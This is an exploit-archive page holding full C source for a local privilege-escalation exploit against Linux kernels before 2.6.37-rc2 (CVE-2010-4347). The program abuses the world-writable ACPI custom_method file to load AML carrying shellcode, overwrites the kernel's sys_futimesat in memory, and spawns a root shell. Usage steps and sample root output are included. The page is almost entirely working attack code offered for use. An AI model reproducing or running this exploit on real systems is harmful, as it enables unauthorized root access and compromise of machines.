ExploitFixes
Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation - [CVE: 2010-4347] 2010-12-18 10:15:55

/*
* american-sign-language.c
*
* Linux Kernel &lt; 2.6.37-rc2 ACPI custom_method Privilege Escalation
* Jon Oberheide &lt;[email protected]&gt;
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4347
*
* This custom_method file allows to inject custom ACPI methods into the ACPI
* interpreter tables. This control file was introduced with world writeable
* permissions in Linux Kernel 2.6.33.
*
* Usage:
*
* $ gcc american-sign-language.c -o american-sign-language
* $ ./american-sign-language
* [+] resolving required symbols...
* [+] checking for world-writable custom_method...
* [+] checking for an ACPI LID device...
* [+] poisoning ACPI tables via custom_method...
* [+] triggering ACPI payload via LID device...
* [+] triggering exploit via futimesat...
* [+] launching root shell!
* # id
* uid=0(root) gid=0(root) groups=0(root)
*
* Notes:
*
* This vuln allows us to write custom ACPI methods and load them into the
* kernel as an unprivileged user. We compile some fancy ASL down to AML
* that overrides the ACPI method used when the status of the LID device is
* queried (eg. 'open' or 'closed' lid on a laptop). When the method is
* triggered, it overlays an OperationRegion on the physical address where
* sys_futimesat is located and overwrites the memory via the Store to
* escalate privileges whenever sys_futimesat is called.
*
* The payload is 64-bit only and depends on the existence of a LID device
* (eg. laptop), but the exploit will still tell you if you're vulnerable
* regardless. If you don't know how to work around these limitations, you
* probably shouldn't be running this in the first place. :-P
*
* Props to taviso, spender, kees, bliss, pipacs, twiz, stealth, and #brownpants
*/

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;stdint.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;errno.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;limits.h&gt;
#include &lt;inttypes.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;sys/utsname.h&gt;

/*
* The ASL payload looks like:
*
* DefinitionBlock (&quot;lid.aml&quot;, &quot;SSDT&quot;, 2, &quot;&quot;, &quot;&quot;, 0x00001001) {
* Method (\_SB.LID._LID, 0, NotSerialized) {
* OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392)
* Field(KMEM, AnyAcc, NoLock, Preserve) {
* HACK, 0x392
* }
* Store (Buffer () {
* 0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec,
* 0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24,
* 0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf,
* 0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89,
* 0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff,
* 0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9,
* 0xc3 }, HACK)
* Return (One)
* }
* }
*
* Feel free to `iasl -d` this is you don't trust me! ;-)
*/
#define PAYLOAD_AML \
&quot;\x53\x53\x44\x54\x90\x00\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x00&quot; \
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x49\x4e\x54\x4c&quot; \
&quot;\x21\x05\x09\x20\x14\x4b\x06\x5c\x2f\x03\x5f\x53\x42\x5f\x4c\x49&quot; \
&quot;\x44\x5f\x5f\x4c\x49\x44\x00\x5b\x80\x4b\x4d\x45\x4d\x00\x0c\xe0&quot; \
&quot;\x61\x17\x01\x0b\x92\x03\x5b\x81\x0c\x4b\x4d\x45\x4d\x00\x48\x41&quot; \
&quot;\x43\x4b\x42\x39\x70\x11\x34\x0a\x31\x55\x48\x89\xe5\x53\x48\x83&quot; \
&quot;\xec\x08\x48\xc7\xc3\x24\x24\x24\x24\x48\xc7\xc0\x24\x24\x24\x24&quot; \
&quot;\xbf\x00\x00\x00\x00\xff\xd0\x48\x89\xc7\xff\xd3\x48\xc7\xc0\xb7&quot; \
&quot;\xff\xff\xff\x48\x83\xc4\x08\x5b\xc9\xc3\x48\x41\x43\x4b\xa4\x01&quot;
#define PAYLOAD_LEN 144

#define CUSTOM_METHOD &quot;/sys/kernel/debug/acpi/custom_method&quot;
#define HEY_ITS_A_LID &quot;/proc/acpi/button/lid/LID/state&quot;

unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;

f = fopen(&quot;/proc/kallsyms&quot;, &quot;r&quot;);
if (f == NULL) {
f = fopen(&quot;/proc/ksyms&quot;, &quot;r&quot;);
if (f == NULL)
goto fallback;
oldstyle = 1;
}

repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, &quot;%p %c %s\n&quot;, (void **)&amp;addr, &amp;dummy, sname);
else {
ret = fscanf(f, &quot;%p %s\n&quot;, (void **)&amp;addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, &quot;_O/&quot;) || strstr(sname, &quot;_S.&quot;))
continue;
p = strrchr(sname, '_');
if (p &gt; ((char *)sname + 5) &amp;&amp; !strncmp(p - 3, &quot;smp&quot;, 3)) {
p = p - 4;
while (p &gt; (char *)sname &amp;&amp; *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, &quot;%s\n&quot;, sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}

fclose(f);
if (rep)
return 0;
fallback:
uname(&amp;ver);
if (strncmp(ver.release, &quot;2.6&quot;, 3))
oldstyle = 1;
sprintf(sname, &quot;/boot/System.map-%s&quot;, ver.release);
f = fopen(sname, &quot;r&quot;);
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}

int
main(int argc, char **argv)
{
int ret;
FILE *fp;
char buf[64];
struct stat sb;
char payload[PAYLOAD_LEN] = PAYLOAD_AML;
unsigned long sys_futimesat, prepare_kernel_cred, commit_creds;

printf(&quot;[+] resolving required symbols...\n&quot;);

sys_futimesat = get_symbol(&quot;sys_futimesat&quot;);
if (!sys_futimesat) {
printf(&quot;[-] sys_futimesat symbol not found, aborting!\n&quot;);
exit(1);
}

prepare_kernel_cred = get_symbol(&quot;prepare_kernel_cred&quot;);
if (!prepare_kernel_cred) {
printf(&quot;[-] prepare_kernel_cred symbol not found, aborting!\n&quot;);
exit(1);
}

commit_creds = get_symbol(&quot;commit_creds&quot;);
if (!commit_creds) {
printf(&quot;[-] commit_creds symbol not found, aborting!\n&quot;);
exit(1);
}

printf(&quot;[+] checking for world-writable custom_method...\n&quot;);

ret = stat(CUSTOM_METHOD, &amp;sb);
if (ret &lt; 0) {
printf(&quot;[-] custom_method not found, kernel is not vulnerable!\n&quot;);
exit(1);
}

if (!(sb.st_mode &amp; S_IWOTH)) {
printf(&quot;[-] custom_method not world-writable, kernel is not vulnerable!\n&quot;);
exit(1);
}

printf(&quot;[+] checking for an ACPI LID device...\n&quot;);

ret = stat(HEY_ITS_A_LID, &amp;sb);
if (ret &lt; 0) {
printf(&quot;[-] ACPI LID device not found, but kernel is still vulnerable!\n&quot;);
exit(1);
}

if (sizeof(sys_futimesat) != 8) {
printf(&quot;[-] payload is 64-bit only, but kernel is still vulnerable!\n&quot;);
exit(1);
}

sys_futimesat &amp;= ~0xffffffff80000000;
memcpy(&amp;payload[63], &amp;sys_futimesat, 4);
memcpy(&amp;payload[101], &amp;commit_creds, 4);
memcpy(&amp;payload[108], &amp;prepare_kernel_cred, 4);

printf(&quot;[+] poisoning ACPI tables via custom_method...\n&quot;);

fp = fopen(CUSTOM_METHOD, &quot;w&quot;);
fwrite(payload, 1, sizeof(payload), fp);
fclose(fp);

printf(&quot;[+] triggering ACPI payload via LID device...\n&quot;);

fp = fopen(HEY_ITS_A_LID, &quot;r&quot;);
fread(&amp;buf, 1, sizeof(buf), fp);
fclose(fp);

printf(&quot;[+] triggering exploit via futimesat...\n&quot;);

ret = futimesat(0, &quot;/tmp&quot;, NULL);

if (ret != -1 || errno != EDOTDOT) {
printf(&quot;[-] unexpected futimesat errno, exploit failed!\n&quot;);
exit(1);
}

if (getuid() != 0) {
printf(&quot;[-] privileges not escalated, exploit failed!\n&quot;);
exit(1);
}

printf(&quot;[+] launching root shell!\n&quot;);
execl(&quot;/bin/sh&quot;, &quot;/bin/sh&quot;, NULL);
}